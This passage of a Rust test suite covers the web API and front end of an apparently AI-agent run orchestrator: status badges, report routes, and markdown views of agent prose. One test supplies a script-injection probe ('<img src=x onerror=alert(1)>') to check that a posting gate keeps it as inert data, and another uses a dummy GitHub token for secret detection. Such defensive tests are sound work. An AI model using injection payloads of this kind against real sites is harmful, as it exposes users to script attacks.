20359        assert_eq!(rows[1].superseded_by, None);
20360    }
20361
20362    #[test]
20363    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
20364        let mut state = RunState::new(
20365            PathBuf::from("/repo/magi"),
20366            "main".to_owned(),
20367            "0123456789abcdef".to_owned(),
20368            "Review only".to_owned(),
20369            Config::default(),
20370        );
20371        state.id = "20260922-090200-dead".to_owned();
20372        state.status = RunStatus::Reviewing;
20373        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
20374            .expect("serialize list row");
20375        assert_eq!(row["status"], "reviewing");
20376        assert_eq!(row["display_status"], "stale");
20377        assert_eq!(row["live"], "dead", "{row}");
20378        assert!(!row["done"].as_bool().unwrap());
20379    }
20380
20381    #[test]
20382    fn run_display_status_distinguishes_park_crash_and_owner_wait() {
20383        use crate::run::Liveness::{Dead, Live, Unknown};
20384        let mut state = RunState::new(
20385            PathBuf::from("/repo/magi"),
20386            "main".to_owned(),
20387            "abc".to_owned(),
20388            "Review only".to_owned(),
20389            Config::default(),
20390        );
20391        for (status, parked, node, waiting, live, expected) in [
20392            (
20393                RunStatus::Judging,
20394                true,
20395                "github-text",
20396                false,
20397                Dead,
20398                "parked",
20399            ),
20400            (RunStatus::Judging, false, "park", false, Dead, "stale"),
20401            (RunStatus::Judging, false, "judge", false, Dead, "stale"),
20402            (
20403                RunStatus::Judging,
20404                true,
20405                "github-text",
20406                true,
20407                Dead,
20408                "waiting",
20409            ),
20410            (
20411                RunStatus::Judging,
20412                false,
20413                "github-text",
20414                true,
20415                Dead,
20416                "waiting",
20417            ),
20418            (
20419                RunStatus::Judging,
20420                false,
20421                "github-text",
20422                false,
20423                Dead,
20424                "stale",
20425            ),
20426            (RunStatus::Judging, false, "resume", false, Dead, "stale"),
20427            (RunStatus::Judging, true, "park", false, Live, "judging"),
20428            (RunStatus::Judging, true, "park", false, Unknown, "judging"),
20429            (RunStatus::Merged, true, "park", false, Dead, "merged"),
20430            (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
20431            (
20432                RunStatus::Blocked,
20433                true,
20434                "github-text",
20435                true,
20436                Dead,
20437                "waiting",
20438            ),
20439        ] {
20440            state.status = status;
20441            state.parked = parked;
20442            state.events.clear();
20443            state.event(
20444                "park",
20445                "an earlier park does not determine the latest state",
20446            );
20447            state.event(node, "message is not used for classification");
20448            let summary = RunSummary::of(&state, waiting, live);
20449            let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
20450            assert_eq!(
20451                summary.display_status, expected,
20452                "{status:?}/{node}/{live:?}"
20453            );
20454            assert_eq!(detail.display_status, summary.display_status);
20455            assert_eq!(detail.waiting, summary.waiting);
20456        }
20457        state.status = RunStatus::Judging;
20458        state.parked = false;
20459        state.events.clear();
20460        assert_eq!(run_display_status(&state, false, Dead), "stale");
20461    }
20462
20463    #[test]
20464    fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
20465        use crate::run::Liveness::{Dead, Live, Unknown};
20466        let mut state = RunState::new(
20467            PathBuf::from("/repo/magi"),
20468            "main".to_owned(),
20469            "abc".to_owned(),
20470            "Badge".to_owned(),
20471            Config::default(),
20472        );
20473        for (status, waiting, live, superseded, expected) in [
20474            (RunStatus::Gating, false, Dead, false, "stale"),
20475            (RunStatus::Gating, false, Dead, true, "superseded"),
20476            (RunStatus::Gating, false, Unknown, true, "superseded"),
20477            (RunStatus::Gating, true, Dead, true, "superseded"),
20478            (RunStatus::Gating, true, Dead, false, "waiting"),
20479            (RunStatus::Gating, false, Unknown, false, "gating"),
20480            (RunStatus::Gating, false, Live, true, "gating"),
20481            (RunStatus::Gating, true, Live, true, "waiting"),
20482            (RunStatus::Merged, false, Dead, true, "merged"),
20483            (RunStatus::Blocked, false, Dead, true, "blocked"),
20484        ] {
20485            state.status = status;
20486            let display = run_display_status(&state, waiting, live);
20487            assert_eq!(
20488                run_badge_status(&state, &display, live, superseded),
20489                expected,
20490                "{status:?}/{live:?}/superseded={superseded}"
20491            );
20492        }
20493    }
20494
20495    #[test]
20496    fn summarize_and_detail_expose_badge_status() {
20497        use crate::run::Liveness::Dead;
20498        let mut state = RunState::new(
20499            PathBuf::from("/repo/magi"),
20500            "main".to_owned(),
20501            "abc".to_owned(),
20502            "Badge".to_owned(),
20503            Config::default(),
20504        );
20505        state.status = RunStatus::Gating;
20506        let none = HashSet::new();
20507        let id = state.id.clone();
20508        let mut by = HashMap::new();
20509        let rows = summarize(
20510            [state.clone()],
20511            &none,
20512            &none,
20513            &by,
20514            |_| Some(false),
20515            |_| None,
20516        );
20517        // No driver recorded: liveness is not provably dead, so the node stays.
20518        assert_eq!(rows[0].badge_status, rows[0].display_status);
20519        by.insert(id, "20260901-000000-913b".to_owned());
20520        let detail = RunDetailView::of(
20521            state.clone(),
20522            false,
20523            Dead,
20524            Some("913b".to_owned()),
20525            None,
20526            None,
20527        );
20528        assert_eq!(detail.badge_status, "superseded");
20529        let json = serde_json::to_value(&detail).unwrap();
20530        assert_eq!(json["badge_status"], "superseded");
20531        let detail = RunDetailView::of(state, false, Dead, None, None, None);
20532        assert_eq!(detail.badge_status, "stale");
20533    }
20534
20535    #[tokio::test]
20536    async fn run_display_status_routes_share_the_open_question_store() {
20537        let f = Fixture::start().await;
20538        let id = "20260922-090200-abcd";
20539        write_run(&f.runs(), id, RunStatus::Judging);
20540        let mut state = read_run(&f.runs(), id).unwrap();
20541        state.parked = true;
20542        state.driver_exited = true;
20543        state.event("github-text", "waiting for the owner");
20544        state.save_under(f.home.path()).unwrap();
20545        let mut task = Task::new(
20546            "resumed task".to_owned(),
20547            "do it".to_owned(),
20548            PathBuf::from("/repo"),
20549            Source::Human,
20550        );
20551        task.runs = vec![id.to_owned(), id.to_owned()];
20552        f.queue().put(&mut task).unwrap();
20553        let store = f.questions();
20554        let mut q = Question::new(
20555            id.to_owned(),
20556            "github-text".to_owned(),
20557            "owner".to_owned(),
20558            "Approve the text?".to_owned(),
20559            String::new(),
20560            Vec::new(),
20561        );
20562        store.put(&mut q).unwrap();
20563        for expected in ["waiting", "parked"] {
20564            let list = f.get("/api/runs").await.json();
20565            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20566            assert_eq!(list[0]["display_status"], expected);
20567            assert_eq!(detail["display_status"], expected);
20568            assert_eq!(detail["waiting"], list[0]["waiting"]);
20569            assert_eq!(list[0]["badge_status"], expected);
20570            assert_eq!(detail["badge_status"], expected);
20571            assert!(list[0]["superseded_by"].is_null());
20572            assert!(detail["superseded_by"].is_null());
20573            let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
20574            let history = task_detail["history"].as_array().unwrap();
20575            assert_eq!(history.len(), 2);
20576            assert!(history[0]["badge"].is_null());
20577            assert_eq!(history[1]["badge"], expected);
20578            q.status = ask::QuestionStatus::Answered;
20579            store.put(&mut q).unwrap();
20580        }
20581    }
20582
20583    #[tokio::test]
20584    async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
20585        let f = Fixture::start().await;
20586        let id = "20260922-090200-abcd";
20587        write_run(&f.runs(), id, RunStatus::Judging);
20588        let mut state = read_run(&f.runs(), id).unwrap();
20589        state.parked = true;
20590        state.driver_exited = true;
20591        state.event("park", "stopped at a node boundary");
20592        state.save_under(f.home.path()).unwrap();
20593
20594        for expected in ["parked", "stale"] {
20595            let list = f.get("/api/runs").await.json();
20596            let detail = f.get(&format!("/api/runs/{id}")).await.json();
20597            assert_eq!(list[0]["live"], "dead");
20598            assert_eq!(list[0]["display_status"], expected);
20599            assert_eq!(detail["display_status"], expected);
20600            // Model a driver claim followed by a crash before the next event:
20601            // the persisted flag changes, but the last event is still park.
20602            state.parked = false;
20603            state.save_under(f.home.path()).unwrap();
20604        }
20605    }
20606
20607    #[tokio::test]
20608    async fn the_run_list_is_newest_first_and_honours_a_limit() {
20609        let f = Fixture::start().await;
20610        for id in [
20611            "20260902-140501-aaaa",
20612            "20260902-140502-bbbb",
20613            "20260902-140503-cccc",
20614        ] {
20615            write_run(&f.runs(), id, RunStatus::Merged);
20616        }
20617
20618        let all = f.get("/api/runs").await.json();
20619        let capped = f.get("/api/runs?limit=2").await.json();
20620
20621        assert_eq!(all[0]["id"], "20260902-140503-cccc");
20622        assert_eq!(all.as_array().map(Vec::len), Some(3));
20623        assert_eq!(capped.as_array().map(Vec::len), Some(2));
20624        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
20625    }
20626
20627    #[tokio::test]
20628    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
20629        let f = Fixture::start().await;
20630        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
20631
20632        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
20633
20634        assert_eq!(res.status, 200);
20635        assert!(
20636            res.headers
20637                .contains("content-type: text/plain; charset=utf-8"),
20638            "a browser must render it, not download it: {}",
20639            res.headers
20640        );
20641        // The assertion is on content, not on the absence of escapes: colour
20642        // is a process-global that `serve` turns off at startup, and another
20643        // test in this binary may own it while this one runs.
20644        assert!(
20645            res.body.contains("20260902-140501-a1b2"),
20646            "the report is about the run that was asked for: {}",
20647            res.body
20648        );
20649    }
20650
20651    #[tokio::test]
20652    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
20653        // The view names the run's state directory, which reads the process-global home.
20654        crate::run::pin_test_home();
20655        let f = Fixture::start().await;
20656        let id = "20260902-140501-a1b2";
20657        write_run(&f.runs(), id, RunStatus::Stalled);
20658        // A stalled panel and one review round, written through the real
20659        // state file so the route reads what a run really leaves behind.
20660        let path = f.runs().join(id).join("run.json");
20661        let mut v: serde_json::Value =
20662            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20663        v["tally"] = serde_json::json!({
20664            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20665            "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
20666            "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
20667            "met_quorum": false, "rankings": 1
20668        });
20669        v["reviews"] = serde_json::json!([{
20670            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
20671            "e2e_deferred": true,
20672            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
20673                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
20674            ]}]
20675        }]);
20676        std::fs::write(&path, v.to_string()).unwrap();
20677        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
20678        std::fs::write(
20679            f.runs().join("20260902-140502-dead").join("run.json"),
20680            "{not json",
20681        )
20682        .unwrap();
20683
20684        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20685
20686        assert_eq!(res.status, 200, "{}", res.body);
20687        assert!(res.headers.contains("content-type: application/json"));
20688        let j = res.json();
20689        assert_eq!(j["schema"], 1);
20690        assert_eq!(j["header"]["id"], id);
20691        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
20692        let kinds: Vec<&str> = j["sections"]
20693            .as_array()
20694            .unwrap()
20695            .iter()
20696            .map(|s| s["kind"].as_str().unwrap())
20697            .collect();
20698        assert_eq!(kinds, ["candidates", "tally", "review"]);
20699        let tally = &j["sections"][1]["tally"];
20700        assert_eq!(
20701            (tally["decided"].clone(), tally["provisional"].clone()),
20702            (false.into(), true.into())
20703        );
20704        let round = &j["sections"][2]["rounds"][0];
20705        assert_eq!(round["e2e"]["state"], "deferred");
20706        assert_eq!(round["findings"][0]["severity"], "major");
20707        assert_eq!(round["findings"][0]["blocking"], true);
20708        assert_eq!(round["findings"][0]["state"], "open");
20709
20710        // The raw route keeps working beside it.
20711        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
20712
20713        // An unreadable run is an error, as on the text route, and is counted.
20714        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
20715        assert_ne!(bad.status, 200, "{}", bad.body);
20716        assert_eq!(
20717            bad.status,
20718            f.get("/api/runs/20260902-140502-dead/report").await.status
20719        );
20720        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
20721        assert_eq!(
20722            f.get("/api/runs/20260902-999999-ffff/report.json")
20723                .await
20724                .status,
20725            404
20726        );
20727    }
20728
20729    #[tokio::test]
20730    async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
20731        crate::run::pin_test_home();
20732        let f = Fixture::start().await;
20733        let id = "20260902-140503-delib";
20734        write_run(&f.runs(), id, RunStatus::Merged);
20735        let path = f.runs().join(id).join("run.json");
20736        let mut v: serde_json::Value =
20737            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
20738        v["judgements"] = serde_json::json!([
20739            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20740        ]);
20741        v["tally"] = serde_json::json!({
20742            "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
20743            "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
20744            "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
20745            "met_quorum": true, "rankings": 1
20746        });
20747        v["deliberation"] = serde_json::json!([
20748            {
20749                "round": 1,
20750                "turns": [
20751                    {
20752                        "judge": 1,
20753                        "agent": "judge-1",
20754                        "body": "I prefer candidate **A** because it has cleaner tests.",
20755                        "tentative": "A"
20756                    }
20757                ]
20758            },
20759            {
20760                "round": 2,
20761                "turns": [
20762                    {
20763                        "judge": 1,
20764                        "agent": "judge-1",
20765                        "body": "Still thinking, no choice yet.",
20766                        "tentative": null
20767                    }
20768                ]
20769            }
20770        ]);
20771        std::fs::write(&path, v.to_string()).unwrap();
20772
20773        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
20774        assert_eq!(res.status, 200, "{}", res.body);
20775        let j = res.json();
20776        let judging = j["sections"]
20777            .as_array()
20778            .unwrap()
20779            .iter()
20780            .find(|s| s["kind"] == "judging")
20781            .expect("judging section exists");
20782
20783        // Existing summary lines remain intact
20784        let delib_lines = judging["deliberation"].as_array().unwrap();
20785        assert_eq!(delib_lines.len(), 2);
20786        assert_eq!(delib_lines[0], "r1 judge 1 -> A");
20787        assert_eq!(delib_lines[1], "r2 judge 1 -> -");
20788
20789        // rounds carry turn bodies, tentative and parsed body_md
20790        let rounds = judging["rounds"].as_array().unwrap();
20791        assert_eq!(rounds.len(), 2);
20792        let r1_t0 = &rounds[0]["turns"][0];
20793        assert_eq!(r1_t0["judge"], 1);
20794        assert_eq!(r1_t0["agent"], "judge-1");
20795        assert_eq!(r1_t0["tentative"], "A");
20796        assert_eq!(
20797            r1_t0["body"],
20798            "I prefer candidate **A** because it has cleaner tests."
20799        );
20800        assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
20801
20802        let r2_t0 = &rounds[1]["turns"][0];
20803        assert_eq!(r2_t0["judge"], 1);
20804        assert_eq!(r2_t0["agent"], "judge-1");
20805        assert!(r2_t0["tentative"].is_null());
20806        assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
20807        assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
20808
20809        // A run with empty deliberation array yields empty rounds
20810        let id_empty = "20260902-140504-nodelib";
20811        write_run(&f.runs(), id_empty, RunStatus::Merged);
20812        let path_empty = f.runs().join(id_empty).join("run.json");
20813        let mut v_empty: serde_json::Value =
20814            serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
20815        v_empty["judgements"] = serde_json::json!([
20816            {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
20817        ]);
20818        v_empty["deliberation"] = serde_json::json!([]);
20819        std::fs::write(&path_empty, v_empty.to_string()).unwrap();
20820
20821        let res_empty = f.get(&format!("/api/runs/{id_empty}/report.json")).await;
20822        assert_eq!(res_empty.status, 200, "{}", res_empty.body);
20823        let j_empty = res_empty.json();
20824        let judging_empty = j_empty["sections"]
20825            .as_array()
20826            .unwrap()
20827            .iter()
20828            .find(|s| s["kind"] == "judging")
20829            .expect("judging section exists");
20830        assert_eq!(judging_empty["rounds"].as_array().unwrap().len(), 0);
20831    }
20832
20833    #[tokio::test]
20834    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
20835        let f = Fixture::start().await;
20836
20837        let html = f.get("/").await;
20838        let css = f.get("/app.css").await;
20839        let js = f.get("/app.js").await;
20840
20841        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
20842        assert!(
20843            html.headers
20844                .contains("content-type: text/html; charset=utf-8")
20845        );
20846        assert!(css.headers.contains("content-type: text/css"));
20847        assert!(js.headers.contains("content-type: text/javascript"));
20848        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
20849    }
20850
20851    #[test]
20852    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
20853        let body = |name: &str| {
20854            let at = APP_JS
20855                .find(name)
20856                .unwrap_or_else(|| panic!("{name} missing"));
20857            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20858        };
20859        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
20860        let note = body("function landRoundNote");
20861        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
20862        assert!(note.contains("Land round ${round}"));
20863        let land = body("function renderLand");
20864        let note_at = land
20865            .find("landRoundNote(pr)")
20866            .expect("renderLand uses the note");
20867        assert!(
20868            note_at
20869                < land
20870                    .find("roundRail(pr)")
20871                    .expect("renderLand uses the rail")
20872        );
20873    }
20874
20875    #[test]
20876    fn the_runs_page_redesign_keeps_its_guards() {
20877        let body = |name: &str| {
20878            let at = APP_JS
20879                .find(name)
20880                .unwrap_or_else(|| panic!("{name} missing"));
20881            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
20882        };
20883        // A null child must never reach the native append (it prints "null").
20884        let land = body("function renderLand");
20885        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
20886        assert!(
20887            !land.contains("box.append("),
20888            "renderLand must use append()"
20889        );
20890        assert!(land.contains("append(box, ["));
20891        // Tabs are hash routes; the run id alone decides a reload.
20892        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
20893        assert!(
20894            body("function applyRoute")
20895                .contains("route.name !== state.route.name || route.id !== state.route.id")
20896        );
20897        // The decorative diagram is gone, the strip and its guards stay.
20898        assert!(!APP_JS.contains("adviseConvergeDiagram"));
20899        assert!(!INDEX_HTML.contains("advise-converge"));
20900        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
20901        assert!(APP_JS.contains("provisional"));
20902        for id in [
20903            "run-tab-overview",
20904            "run-tab-timeline",
20905            "run-tab-report",
20906            "run-report",
20907            "runs-scope",
20908        ] {
20909            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
20910        }
20911        assert!(!INDEX_HTML.contains("runs-tree"));
20912        assert!(!INDEX_HTML.contains("run-raw-panel"));
20913        // Fold still says it cannot be resumed.
20914        assert!(APP_JS.contains("resume"));
20915        // The unreadable-runs count stays on the page.
20916        assert!(APP_JS.contains("unreadable"));
20917    }
20918
20919    #[test]
20920    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
20921        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
20922        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
20923        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
20924        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
20925        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
20926        // The subtitle still counts them whatever the banner does.
20927        assert!(APP_JS.contains("unreadable` : null"));
20928    }
20929
20930    #[test]
20931    fn blocked_run_detail_exposes_the_failed_gate_reason() {
20932        let mut state = RunState::new(
20933            "/repo".into(),
20934            "main".into(),
20935            "abc".into(),
20936            "task".into(),
20937            crate::config::Config::default(),
20938        );
20939        state.status = RunStatus::Blocked;
20940        state.gate_ran = true;
20941        state.gate.push(crate::run::CommandOutcome {
20942            command: "cargo make check".into(),
20943            code: Some(1),
20944            output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
20945            duration_ms: 0,
20946            resource_blocked: false,
20947        });
20948        let view = RunDetailView::of(
20949            state,
20950            false,
20951            crate::run::Liveness::Unknown,
20952            None,
20953            None,
20954            None,
20955        );
20956        let value = serde_json::to_value(view).unwrap();
20957        assert_eq!(
20958            value["stop_reason"],
20959            "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
20960        );
20961    }
20962
20963    #[test]
20964    fn the_run_detail_payload_says_whether_the_run_is_done() {
20965        // `landView` reads `run.done`; the detail response must carry it.
20966        for (status, done) in [
20967            (RunStatus::Superseded, true),
20968            (RunStatus::Blocked, true),
20969            (RunStatus::Landing, false),
20970        ] {
20971            let mut state = RunState::new(
20972                std::path::PathBuf::from("/repo"),
20973                "main".to_owned(),
20974                "abc".to_owned(),
20975                "x".to_owned(),
20976                crate::config::Config::default(),
20977            );
20978            state.status = status;
20979            let v = serde_json::to_value(RunDetailView::of(
20980                state,
20981                false,
20982                crate::run::Liveness::Unknown,
20983                None,
20984                None,
20985                None,
20986            ))
20987            .unwrap();
20988            assert_eq!(v["done"], done, "{status:?}");
20989        }
20990    }
20991
20992    /// The first node of a markdown block holds a `strong` somewhere.
20993    fn has_strong(nodes: &[md::Node]) -> bool {
20994        serde_json::to_string(nodes).unwrap().contains("strong")
20995    }
20996
20997    #[test]
20998    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
20999        let mut state = RunState::new(
21000            std::path::PathBuf::from("/repo"),
21001            "main".to_owned(),
21002            "abc".to_owned(),
21003            "x".to_owned(),
21004            crate::config::Config::default(),
21005        );
21006        let proposal = |approach: &str| {
21007            serde_json::json!({
21008                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21009            })
21010        };
21011        state.advice = Some(
21012            serde_json::from_value(serde_json::json!({
21013                "records": [
21014                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21015                     "proposal": proposal("do **this**")},
21016                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21017                ],
21018                "synthesis": "- one\n- **two**\n\n`code`",
21019            }))
21020            .unwrap(),
21021        );
21022        state.candidates = serde_json::from_value(serde_json::json!([
21023            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21024             "summary": "did **it**"},
21025            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21026        ]))
21027        .unwrap();
21028        // Recorded in ascending severity, the reverse of how the page sorts
21029        // them: the arrays must follow the record, not the display.
21030        state.reviews = serde_json::from_value(serde_json::json!([{
21031            "round": 1, "head": "h",
21032            "reviews": [{
21033                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21034                "findings": [
21035                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
21036                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21037                ],
21038            }],
21039            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21040            "fix": {"agent": "a", "notes": "fixed **it**",
21041                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21042        }, {"round": 2, "head": "h2", "reviews": []}]))
21043        .unwrap();
21044
21045        let v = serde_json::to_value(RunDetailView::of(
21046            state,
21047            false,
21048            crate::run::Liveness::Unknown,
21049            None,
21050            None,
21051            None,
21052        ))
21053        .unwrap();
21054
21055        let strong = |p: &str| {
21056            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21057            assert!(n.to_string().contains("strong"), "{p}: {n}");
21058        };
21059        strong("/advice_md/synthesis");
21060        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21061        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21062        strong("/advice_md/approaches/0");
21063        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21064        strong("/candidate_summaries_md/0");
21065        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21066        strong("/reviews_md/0/reviewers/0/summary");
21067        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21068        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21069        assert!(f[1].to_string().contains("strong"));
21070        strong("/reviews_md/0/reconsideration/0");
21071        strong("/reviews_md/0/fix/notes");
21072        strong("/reviews_md/0/fix/rejected/0");
21073        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21074        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21075        // The raw strings stay, and no schema moved.
21076        assert_eq!(v["candidates"][0]["summary"], "did **it**");
21077        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21078    }
21079
21080    #[test]
21081    fn a_run_without_advice_has_no_advice_md() {
21082        let state = RunState::new(
21083            std::path::PathBuf::from("/repo"),
21084            "main".to_owned(),
21085            "abc".to_owned(),
21086            "x".to_owned(),
21087            crate::config::Config::default(),
21088        );
21089        let p = run_prose_md(&state);
21090        assert!(p.advice_md.is_none());
21091        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21092    }
21093
21094    #[test]
21095    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21096        let store = ask::Questions::at(PathBuf::from("unused"));
21097        let gt = crate::github_text::Withheld {
21098            title: false,
21099            body: true,
21100            categories: vec!["sensitive-data".into()],
21101        };
21102        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21103        let (detail, comparison) =
21104            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21105        let mut q = Question::new(
21106            "r".into(),
21107            "github-text".into(),
21108            "posting-gate".into(),
21109            "s".into(),
21110            detail,
21111            Vec::new(),
21112        );
21113        assert!(
21114            QuestionView::of(q.clone(), &store, None)
21115                .posting_view
21116                .is_none()
21117        );
21118        q.posting_comparison = Some(comparison);
21119        let view = QuestionView::of(q.clone(), &store, None);
21120        let field = &view.posting_view.unwrap().fields[0];
21121        assert_eq!(
21122            field
21123                .original
21124                .iter()
21125                .map(|f| f.text.as_str())
21126                .collect::<String>(),
21127            body
21128        );
21129        assert!(field.original[0].text.starts_with("<img"));
21130        let original_question: Question =
21131            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21132        assert_eq!(original_question, q);
21133        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21134            .original
21135            .start = 1;
21136        assert!(
21137            QuestionView::of(q.clone(), &store, None)
21138                .posting_view
21139                .is_none()
21140        );
21141        q.posting_comparison = original_question.posting_comparison;
21142        q.detail.push_str("extra context");
21143        assert!(
21144            QuestionView::of(q.clone(), &store, None)
21145                .posting_view
21146                .is_some()
21147        );
21148        q.detail.insert(0, 'x');
21149        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21150    }
21151
21152    #[test]
21153    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21154        let store = ask::Questions::at(PathBuf::from("unused"));
21155        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21156        let gt = crate::github_text::Withheld::from_check(
21157            &crate::github_text::check("fix: x", body),
21158            "fix: x",
21159            body,
21160        )
21161        .unwrap();
21162        let (detail, comparison) =
21163            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
21164        let mut q = Question::new(
21165            "r".into(),
21166            "github-text".into(),
21167            "posting-gate".into(),
21168            "s".into(),
21169            detail,
21170            Vec::new(),
21171        );
21172        q.posting_comparison = Some(comparison);
21173        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21174        let field = &value["posting_view"]["fields"][0];
21175        let group = &field["replacement_group"];
21176        let triggers = group["triggers"].as_array().unwrap();
21177        assert_eq!(triggers.len(), 2);
21178        assert_ne!(triggers[0], triggers[1]);
21179        for id in triggers {
21180            assert!(
21181                field["original"]
21182                    .as_array()
21183                    .unwrap()
21184                    .iter()
21185                    .any(|f| &f["pair"] == id)
21186            );
21187            assert!(
21188                !field["changed"]
21189                    .as_array()
21190                    .unwrap()
21191                    .iter()
21192                    .any(|f| &f["pair"] == id)
21193            );
21194        }
21195        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21196            group["id"].as_u64().unwrap() as usize;
21197        assert!(
21198            QuestionView::of(q, &store, None).posting_view.is_none(),
21199            "group and trigger IDs cannot collide"
21200        );
21201    }
21202
21203    #[test]
21204    fn a_question_view_carries_markdown_for_each_thread_turn() {
21205        let home = TempDir::new().unwrap();
21206        let store = ask::Questions::at(home.path().join("questions"));
21207        let mut q = Question::new(
21208            "run".to_owned(),
21209            "implement".to_owned(),
21210            "impl-A".to_owned(),
21211            "which?".to_owned(),
21212            String::new(),
21213            Vec::new(),
21214        );
21215        q.say("plain words").unwrap();
21216        q.reply("use **this**", Vec::new()).unwrap();
21217        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21218        let bodies = &v["thread_bodies_md"];
21219        assert_eq!(bodies.as_array().unwrap().len(), 2);
21220        assert!(!bodies[0].to_string().contains("strong"));
21221        assert!(bodies[1].to_string().contains("strong"));
21222    }
21223
21224    #[test]
21225    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21226        let home = TempDir::new().unwrap();
21227        let store = ask::Questions::at(home.path().join("questions"));
21228        let mut q = Question::new(
21229            "run".to_owned(),
21230            "conduct".to_owned(),
21231            "conduct".to_owned(),
21232            "which?".to_owned(),
21233            String::new(),
21234            Vec::new(),
21235        );
21236        q.say("plain words").unwrap();
21237        q.thread.push(ask::Turn {
21238            who: ask::Who::Agent,
21239            body: "Settled as `merge`".to_owned(),
21240            at: jiff::Timestamp::now(),
